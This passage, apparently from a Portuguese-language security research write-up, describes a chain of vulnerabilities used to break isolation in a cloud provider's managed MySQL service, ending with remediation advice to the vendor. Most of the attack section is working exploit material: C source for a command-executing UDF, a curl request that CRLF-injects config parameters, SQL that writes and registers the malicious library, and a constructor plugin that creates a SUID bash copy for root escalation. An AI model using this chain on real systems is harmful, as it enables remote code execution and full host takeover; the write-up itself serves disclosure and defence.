#include <stdlib.h> #include <string.h> #include <stdio.h> typedef unsigned long long udf_args_type; typedef struct { unsigned int arg_count; unsigned int *arg_type; char **args; unsigned long *lengths; char *maybe_null; char **attributes; unsigned long *attribute_lengths; void *extension; } UDF_ARGS; typedef struct { char maybe_null; unsigned int decimals; unsigned long max_length; char *ptr; char const_item; void *extension; } UDF_INIT; int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { if (args->arg_count != 1) { strcpy(message, "sys_eval requires one argument"); return 1; } initid->max_length = 65535; return 0; } void sys_eval_deinit(UDF_INIT *initid) {} char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) { if (!args->args[0]) { *is_null = 1; return NULL; } char cmd[65535]; snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]); FILE *pipe = popen(cmd, "r"); if (!pipe) { *is_null = 1; return NULL; } static char buf[65535]; size_t total = 0; while (total < sizeof(buf)-1) { size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe); if (n == 0) break; total += n; } pclose(pipe); buf[total] = '\0'; *length = total; return buf; } |
Para obter RCE, realizamos uma CRLF injection no arquivo de configuração por meio da API do provedor de nuvem:
|
1 2 3 4 |
curl -s -X PATCH "https://somecloud/api/dbaas/id" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}' |
Esse vetor permitiu injetar quebras de linha e redefinir parâmetros críticos de configuração:
|
1 2 3 |
default-time-zone="+00:00 secure_file_priv= # remoção das restrições de escrita, o que permite salvar arquivos em qualquer diretório acessível ao usuário do MySQL. plugin_dir=/var/lib/mysql-files/ # definição de um diretório confiável para o carregamento de bibliotecas dinâmicas. |
Usando os privilégios de escrita obtidos, carregamos a biblioteca UDF maliciosa (Shared Object) no diretório alvo por meio do operador SQL:
|
1 |
SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so |
Reiniciamos o banco MySQL para aplicar a configuração alterada, de modo que ela tenha efeito e o plugin registrado seja inicializado:
|
1 |
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so'; |
Para a escalação de privilégios até o nível de root (LPE), analisamos a lista de serviços ativos. Constatamos que o serviço mysql-watcher.service é executado com privilégios de administrador e inicia periodicamente um script Python para acessar o MySQL por meio do cliente de sistema. Para explorar esse processo, compilamos mais um plugin:
|
1 2 3 4 |
#include <stdlib.h> __attribute__((constructor)) static void init(void) { system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash"); } |
O caminho para o diretório com a biblioteca maliciosa (arquivo .so, parâmetro plugin_dir) e o nome do plugin de autenticação default-auth=plugname são injetados na seção [client] do arquivo de configuração /etc/mysql/my.cnf. Na próxima execução do cliente MySQL, iniciada pelo serviço em segundo plano mysql-watcher.service em nome do root, o plugin descrito acima é executado no host com o servidor. Isso leva à execução de um comando de sistema e à criação de uma cópia do interpretador Bash com o bit SUID definido (/tmp/rbash), o que completa a cadeia de comprometimento total do host.
Conclusões
A infraestrutura do provedor de nuvem baseava-se em desenvolvimentos próprios, e não em soluções open source típicas, o que formou uma superfície de ataque incomum. No âmbito da pesquisa, identificamos também outras vulnerabilidades, que não entraram no relatório devido ao seu caráter padrão. Com base nos resultados do trabalho, apresentamos ao fornecedor recomendações voltadas para elevar o nível de segurança. Entre elas, descrevemos medidas para isolar os serviços gerenciados a fim de eliminar a visibilidade de rede entre eles, aplicar políticas estritas de AppArmor para o isolamento dos processos dos serviços, bem como incorporar às práticas de monitoramento o acompanhamento do uso de serviços potencialmente vulneráveis.























Vizinho perigoso: como uma cadeia de vulnerabilidades permitiu contornar o isolamento na infraestrutura em nuvem